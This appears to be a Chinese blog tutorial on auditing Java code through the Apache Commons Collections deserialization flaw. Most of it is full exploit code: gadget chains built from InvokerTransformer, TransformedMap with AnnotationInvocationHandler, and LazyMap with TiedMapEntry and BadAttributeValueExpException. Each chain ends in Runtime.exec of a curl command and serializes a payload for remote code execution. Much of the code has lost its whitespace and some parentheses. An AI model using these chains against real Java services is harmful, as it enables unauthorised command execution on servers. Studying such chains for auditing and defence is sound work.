這是第一篇關於代碼審計的文章,我目前正在看《PHP代碼審計》,書裏面寫的不錯。以後會陸續把我看完之後有意思的知識點或者感受共享給大家。
從php代碼審計到java代碼審計還是有很大不同的,語言特性,漏洞產生的點等等,很多人都是php入門,同樣我也是,但是說實話,java也是必須要掌握的,這裏我選擇分析一些經典的漏洞來熟悉java的代碼審計,如果有理解錯誤的地方,希望得到師傅們的斧正。
Apache Commons Collections反序列化漏洞
首先利用maven進行自動下載下來包,看/org/apache/commons/collections/functors/InvokerTransformer.class
publicObjecttransform(Objectinput){
if(input==null){
returnnull;
}else{
try{
Classcls=input.getClass;
Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes);
returnmethod.invoke(input,this.iArgs);
}catch(NoSuchMethodExceptionvar5){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist");
}catch(IllegalAccessExceptionvar6){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed");
}catch(InvocationTargetExceptionvar7){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7);
}
}
}
這個transform方法裏面可以看到有個反射調用return method.invoke(input, this.iArgs);,但是隻有這裏的話顯然並不能RCE
繼續看/org/apache/commons/collections/functors/ChainedTransformer.class
publicObjecttransform(Objectobject){
for(inti=0;i<this.iTransformers.length;++i){
object=this.iTransformers[i].transform(object);
}
returnobject;
}
這裏可以看出來是挨個遍歷transformer,調用其的transform方法然後返回個object,返回的object繼續進入循環,成爲下一次調用的參數,怎麼通過這裏來執行命令呢,來看
publicstaticvoidmain(String[]args)
{
Transformer[]transformers={
newInvokerTransformer("exec",
newClass[]{String.class},
newObject[]{"curl http://127.0.0.1:10000"})
};
TransformertransformerChain=newChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime);
}
當傳入transformers後進行
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
當傳入InvokerTransformer後
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
這裏都會賦值,然後這裏就會調用到
publicObjecttransform(Objectinput){
if(input==null){
returnnull;
}else{
try{
Classcls=input.getClass;
Methodmethod=cls.getMethod(this.iMethodName,this.iParamTypes);
returnmethod.invoke(input,this.iArgs);
}catch(NoSuchMethodExceptionvar5){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' does not exist");
}catch(IllegalAccessExceptionvar6){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' cannot be accessed");
}catch(InvocationTargetExceptionvar7){
thrownewFunctorException("InvokerTransformer: The method '"+this.iMethodName+"' on '"+input.getClass+"' threw an exception",var7);
}
}
}
到
return method.invoke(Runtime.getRuntime, new Object[] {"curl http://127.0.0.1:10000"});
執行命令,但是這是我們構造出來的,環境中不可能有transformerChain.transform(Runtime.getRuntime);
這樣的操作,我們可以在/org/apache/commons/collections/functors/ConstantTransformer.class找到
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
傳入了個Object對象,然後transform方法原樣返回,看代碼
importorg.apache.commons.collections.Transformer;
importorg.apache.commons.collections.functors.InvokerTransformer;
importorg.apache.commons.collections.functors.ChainedTransformer;
importorg.apache.commons.collections.functors.ConstantTransformer;
importjava.lang.reflect.InvocationTargetException;
importjava.lang.reflect.Method;
publicclasstest{
publicstaticvoidmain(String[]args)
{
Transformer[]transformers={
newConstantTransformer(Runtime.getRuntime),
newInvokerTransformer("exec",
newClass[]{String.class},
newObject[]{"curl http://127.0.0.1:10000"})
};
TransformertransformerChain=newtest2(transformers);
transformerChain.transform("aa");
}
}
classtest2implementsTransformer{
privatefinalTransformer[]iTransformers;
publictest2(Transformer[]transformers){this.iTransformers=transformers;}
publicObjecttransform(Objectobject){
for(inti=0;i<this.iTransformers.length;++i){
System.out.println(object.getClass);
object=this.iTransformers[i].transform(object);
}
returnobject;
}
}
這裏我將ChainedTransformer類重寫了一些,方便觀察調試。
因爲在ConstantTransformer中,調用transform方法時不管輸入什麼都不會影響返回,所以,隨意輸入即可。
那麼能否直接這樣構造進行序列化呢,編寫代碼試試
importorg.apache.commons.collections.Transformer;
importorg.apache.commons.collections.functors.InvokerTransformer;
importorg.apache.commons.collections.functors.ChainedTransformer;
importorg.apache.commons.collections.functors.ConstantTransformer;
importjava.io.*;
importjava.lang.reflect.InvocationTargetException;
importjava.lang.reflect.Method;
publicclasstest{
publicstaticvoidmain(String[]args)
{
Transformer[]transformers={
newConstantTransformer(Runtime.getRuntime),
newInvokerTransformer("exec",
newClass[]{String.class},
newObject[]{"curl http://127.0.0.1:10000"})
};
TransformertransformerChain=newtest2(transformers);
try{
Filef=newFile("expobject");
ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));
out.writeObject(transformerChain);
out.flush;
out.close;
}catch(IOExceptione){
e.printStackTrace;
}
try{
FileInputStreamf=newFileInputStream("expobject");
ObjectInputStreamoin=newObjectInputStream(f);
Transformerexpobject=(Transformer)oin.readObject;
expobject.transform("cc");
System.out.println(expobject.getClass);
}
catch(FileNotFoundExceptione){
e.printStackTrace;
}catch(ClassNotFoundExceptione){
e.printStackTrace;
}catch(IOExceptione){
e.printStackTrace;
}
}
}
classtest2implementsTransformer,Serializable{
privatefinalTransformer[]iTransformers;
publictest2(Transformer[]transformers){this.iTransformers=transformers;}
publicObjecttransform(Objectobject){
for(inti=0;i<this.iTransformers.length;++i){
System.out.println(object.getClass);
object=this.iTransformers[i].transform(object);
}
returnobject;
}
}
Runtime不允許序列化,那麼我們繼續修改
importorg.apache.commons.collections.Transformer;
importorg.apache.commons.collections.functors.InvokerTransformer;
importorg.apache.commons.collections.functors.ChainedTransformer;
importorg.apache.commons.collections.functors.ConstantTransformer;
importjava.io.*;
importjava.lang.reflect.InvocationTargetException;
importjava.lang.reflect.Method;
publicclasstest{
publicstaticvoidmain(String[]args)
{
Transformer[]transformers={
newConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),
newInvokerTransformer("exec",
newClass[]{String.class},
newObject[]{"curl http://127.0.0.1:10000"})
};
TransformertransformerChain=newtest2(transformers);
try{
Filef=newFile("expobject");
ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));
out.writeObject(transformerChain);
out.flush;
out.close;
}catch(IOExceptione){
e.printStackTrace;
}
try{
FileInputStreamf=newFileInputStream("expobject");
ObjectInputStreamoin=newObjectInputStream(f);
Transformerexpobject=(Transformer)oin.readObject;
expobject.transform("cc");
System.out.println(expobject.getClass);
}
catch(FileNotFoundExceptione){
e.printStackTrace;
}catch(ClassNotFoundExceptione){
e.printStackTrace;
}catch(IOExceptione){
e.printStackTrace;
}
}
}
classtest2implementsTransformer,Serializable{
privatefinalTransformer[]iTransformers;
publictest2(Transformer[]transformers){this.iTransformers=transformers;}
publicObjecttransform(Objectobject){
for(inti=0;i<this.iTransformers.length;++i){
System.out.println(object.getClass);
object=this.iTransformers[i].transform(object);
}
returnobject;
}
}
整個調用鏈是
((Runtime) Runtime.class.getMethod("getRuntime").invoke).exec("curl http://127.0.0.1:10000")
簡單整理下調用,不然不是很好理解
object = ConstantTransformer.transform("cc");
public Object transform(Object input) {
return Runtime.class;
}
object = InvokerTransformer.transform(Runtime.class);
Class cls = Runtime.class.getClass;
Method method = cls.getMethod("getMethod", this.iParamTypes);
return method.invoke("Runtime.class", "getRuntime");
object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime"));
Class cls = Runtime.class.getMethod("getRuntime").getMethod("getRuntime").getClass;
Method method = cls.getMethod("invoke", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime"), "getRuntime");
object = InvokerTransformer.transform(Runtime.class.getMethod("getRuntime").invoke);
Class cls = Runtime.class.getMethod("getRuntime").invoke.getMethod("getRuntime").getClass;
Method method = cls.getMethod("exec", this.iParamTypes);
return method.invoke(Runtime.class.getMethod("getRuntime").invoke, "curl http://127.0.0.1:10000");
代碼執行部分已經分析的差不多了,但是哪裏有合適的構造點呢,根據網上的,我們來分析一下
攻擊鏈(一)
我們來看/org/apache/commons/collections/map/TransformedMap.class
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
valueTransformer可控即可利用我們上面的調用鏈,
protectedTransformedMap(Mapmap,TransformerkeyTransformer,TransformervalueTransformer){
super(map);
this.keyTransformer=keyTransformer;
this.valueTransformer=valueTransformer;
}
當我們初始化的時候是可以控制的,怎麼觸發呢,繼續看
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap.put(key, value);
}
當進入put方法的時候會觸發,根據上面的調用鏈我們之後value是可以任意值的,修改代碼
publicstaticvoidmain(String[]args)
{
Transformer[]transformers={
newConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),
newInvokerTransformer("exec",
newClass[]{String.class},
newObject[]{"curl http://127.0.0.1:10000"})
};
TransformertransformerChain=newChainedTransformer(transformers);
Mapmap=newHashMap;
Maptransformedmap=TransformedMap.decorate(map,null,transformerChain);
transformedmap.put("1","2");
這樣我們即可進行命令執行。
然後我們要想實現反序列化RCE還需要找個重寫readObject的地方,而且還需要有對Map的操作。
但是我並沒有找到有對map執行put的操作
這裏還有一處可以實現一樣的效果,這裏的實現原理跟put那是一樣的
protectedObjectcheckSetValue(Objectvalue){
returnthis.valueTransformer.transform(value);
}
什麼時候會調用到checkSetValue
在它所繼承的父類AbstractInputCheckedMapDecorator中
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
有個MapEntry的內部類,這裏面實現了setValue,並且會觸發checkSetValue,然後我們需要找一個readObject中有對map執行setValue的操作。
在jdk小於1.7的時候/reflect/annotation/AnnotationInvocationHandler.class中,readObject中有對map的修改功能,這裏我下載了jdk1.7來看下
privatevoidreadObject(java.io.ObjectInputStreams)
throwsjava.io.IOException,ClassNotFoundException{
s.defaultReadObject;
// Check to make sure that types have not evolved incompatibly
AnnotationTypeannotationType=null;
try{
annotationType=AnnotationType.getInstance(type);
}catch(IllegalArgumentExceptione){
// Class is no longer an annotation type; all bets are off
return;
}
Map<String,Class<?>>memberTypes=annotationType.memberTypes;
for(Map.Entry<String,Object>memberValue:memberValues.entrySet){
Stringname=memberValue.getKey;
Class<?>memberType=memberTypes.get(name);
if(memberType!=null){// i.e. member still exists
Objectvalue=memberValue.getValue;
if(!(memberType.isInstance(value)||
valueinstanceofExceptionProxy)){
memberValue.setValue(
newAnnotationTypeMismatchExceptionProxy(
value.getClass+"["+value+"]").setMember(
annotationType.members.get(name)));
}
}
}
我們先看下payload觸發的調用堆棧
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test implements Serializable{
public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap;
map.put("value", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
ByteArrayOutputStream exp = new ByteArrayOutputStream;
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush;
oos.close;
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray);
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject;
}
}
可以看到通過構造payload將構造的map成功傳到var2,繼續跟到readObject來看一下
首先是獲取了java.lang.annotation.Retention的實例,然後跟進到memberTypes方法
會返回一個map,繼續往下走到Iterator var4 = this.memberValues.entrySet.iterator;
this.memberValues=TransformedMap對象,然後調用其父類的entrySet方法
通過這裏我們可以知道爲什麼key一定要爲valuevar7這個變量獲取到java.lang.annotation.RetentionPolicy
然後是判斷兩個是否是實例的判斷,然後進入到
然後這裏就調用到了
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
進入checkSetValue,也就是可以觸發的地方,來看
攻擊鏈一種的觸發操作在jdk1.8是不存在的,那麼我們來分析下jdk1.8中的攻擊鏈,
transform可控的地方,
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
首先,map中如果不包含這個key那麼就可以進入transform,並且可以看到factory也是我們可控的
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
factory爲transformerChain對象即可觸發,key的值沒啥影響
那麼什麼時候會調用get方法呢,可以找到/org/apache/commons/collections/keyvalue/TiedMapEntry.class
public Object getValue {
return this.map.get(this.key);
}
public String toString {
return this.getKey + "=" + this.getValue;
}
在toString方法中會調用,那麼java中的toString什麼時候調用呢
這裏的toString方法的作用其實跟php的是差不多的
現在我們我還差一步,就是哪裏可以觸發這個toString進而觸發getValue呢
來看/javax/management/BadAttributeValueExpException.java中的readObject方法
privatevoidreadObject(ObjectInputStreamois)throwsIOException,ClassNotFoundException{
ObjectInputStream.GetFieldgf=ois.readFields;
ObjectvalObj=gf.get("val",null);
if(valObj==null){
val=null;
}elseif(valObjinstanceofString){
val=valObj;
}elseif(System.getSecurityManager==null
||valObjinstanceofLong
||valObjinstanceofInteger
||valObjinstanceofFloat
||valObjinstanceofDouble
||valObjinstanceofByte
||valObjinstanceofShort
||valObjinstanceofBoolean){
val=valObj.toString;
}else{// the serialized object is from a version without JDK-8019292 fix
val=System.identityHashCode(valObj)+"@"+valObj.getClass.getName;
}
}
setSecurityManager0的操作,也就是說在System.getSecurityManager會返回null,那麼就會觸發toString,然後我們只要讓val個變量的值爲TiedMapEntry對象即可觸發,因爲這裏是個私有變量,所以我們通過反射所有變量來賦值,那麼整個攻擊鏈就構造完成了。
importorg.apache.commons.collections.Transformer;
importorg.apache.commons.collections.functors.InvokerTransformer;
importorg.apache.commons.collections.functors.ChainedTransformer;
importorg.apache.commons.collections.functors.ConstantTransformer;
importorg.apache.commons.collections.map.HashedMap;
importorg.apache.commons.collections.map.TransformedMap;
importjava.io.*;
importjava.util.HashMap;
importorg.apache.commons.collections.map.LazyMap;
importorg.apache.commons.collections.keyvalue.TiedMapEntry;
importjavax.management.BadAttributeValueExpException;
importjava.lang.reflect.Field;
importjava.lang.reflect.Constructor;
importjava.util.Map;
importjava.lang.reflect.InvocationTargetException;
importjava.lang.reflect.Method;
publicclasstestimplementsSerializable{
publicstaticvoidmain(String[]args)throwsException
{
Transformer[]transformers={
newConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),
newInvokerTransformer("exec",
newClass[]{String.class},
newObject[]{"curl http://127.0.0.1:10000"})
};
TransformertransformerChain=newChainedTransformer(transformers);
MapinnerMap=newHashMap;
MaplazyMap=LazyMap.decorate(innerMap,transformerChain);
TiedMapEntryentry=newTiedMapEntry(lazyMap,"foo");
BadAttributeValueExpExceptionins=newBadAttributeValueExpException(null);
Fieldvalfield=ins.getClass.getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins,entry);
ByteArrayOutputStreamexp=newByteArrayOutputStream;
ObjectOutputStreamoos=newObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush;
oos.close;
ByteArrayInputStreamout=newByteArrayInputStream(exp.toByteArray);
ObjectInputStreamois=newObjectInputStream(out);
Objectobj=(Object)ois.readObject;
ois.close;
}
}